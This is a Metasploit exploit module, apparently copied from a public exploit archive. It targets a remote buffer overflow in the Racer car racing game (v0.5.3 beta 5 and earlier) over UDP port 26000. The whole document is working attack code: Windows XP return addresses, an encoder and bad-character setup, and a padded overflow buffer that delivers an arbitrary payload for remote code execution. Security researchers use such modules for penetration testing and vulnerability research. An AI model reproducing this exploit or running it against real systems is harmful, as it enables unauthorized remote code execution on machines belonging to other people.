Racer 0.5.3 Beta 5 – Remote Buffer Overflow (Metasploit)
## # $Id: racer_503beta5.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'Racer v0.5.3 beta 5 Buffer Overflow', 'Description' => %q{ This module explots the Racer Car and Racing Simulator game versions v0.5.3 beta 5 and earlier. Both the client and server listen on UDP port 26000. By sending an overly long buffer we are able to execute arbitrary code remotely. }, 'Author' => [ 'Trancek <trancek[at]yashira.org>' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2007-4370' ], [ 'OSVDB', '39601' ], [ 'URL', 'http://www.milw0rm.com/exploits/4283' ], [ 'BID', '25297' ], ], 'Payload' => { 'Space' => 1000, 'BadChars' => "\x5c\x00", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, }, 'Platform' => 'win', 'Targets' => [ # Tested ok patrickw 20090503 [ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp [ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ], [ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ], ], 'DisclosureDate' => 'Aug 10 2008', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(26000) ], self.class) end def exploit connect_udp buf = Rex::Text.rand_text_alphanumeric(1001) buf << [target.ret].pack('V') buf << payload.encoded buf << Rex::Text.rand_text_alphanumeric(1196 - payload.encoded.length) udp_sock.put(buf) handler disconnect_udp end end |